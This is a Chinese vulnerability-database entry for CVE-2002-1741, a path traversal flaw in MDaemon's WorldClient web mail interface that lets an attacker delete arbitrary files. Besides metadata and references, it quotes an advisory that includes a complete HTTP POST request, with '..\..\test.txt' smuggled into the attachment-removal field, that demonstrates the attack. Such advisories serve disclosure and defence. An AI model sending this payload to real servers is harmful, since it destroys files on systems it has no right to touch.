WorldClient任意文件可删除漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106716 漏洞类型 输入验证
发布时间 2002-05-07 更新时间 2007-04-27
CVE编号 CVE-2002-1741 CNNVD-ID CNNVD-200212-467
漏洞平台 Windows CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/21438
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-467
|漏洞详情
WorldClient是一款集成于MDaemon邮件服务器的WEB接口,可使用于MicrosftWindows操作系统下。WorldClient对用户提交的输入数据缺少正确充分的检查,可导致远程攻击者可删除系统上任意文件。当建立新的邮件信息时,用户可以夹带附件,附件存储在用户文件夹中,由于WorldClient在删除附件操作时没有对用户提交的数据进行正确检查,攻击者可以提交包含"../"的特殊数据导致脱离用户文件夹的限制,而以MDaemon进程权限删除系统上任意文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/4687/info

WorldClient is a web interface packaged with MDaemon, an email server for Microsoft Windows.

An input validation vulnerability exists in WorldClient that allows for an attacker to delete an arbitrary file on the webserver that it resides on. The vulnerability is due to a lack of input validation on the supplied filename for an attachment delete operation. 

The following HTTP request demonstrates exploitation of this vulnerability to delete '..\..\test.txt':

POST /WorldClient.cgi?Session=xxxx&View=Compose-Attach HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://victom.com:3001/WorldClient.cgi?Session=xxxx&View=Options-Folders
Content-Type: multipart/form-data; boundary=---------------------------7d2851b9074c
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
Host: victim:3001
Content-Length: 407
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxx

-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Attachment"; filename=""
Content-Type: application/octet-stream

-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Attachments"

..\..\test.txt
-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Remove"

Remove
-----------------------------7d2851b9074c--
|参考资料

来源:XF
名称:mdaemon-worldclient-delete-files(9027)
链接:http://xforce.iss.net/xforce/xfdb/9027
来源:BID
名称:4687
链接:http://www.securityfocus.com/bid/4687
来源:NSFOCUS
名称:2746
链接:http://www.nsfocus.net/vulndb/2746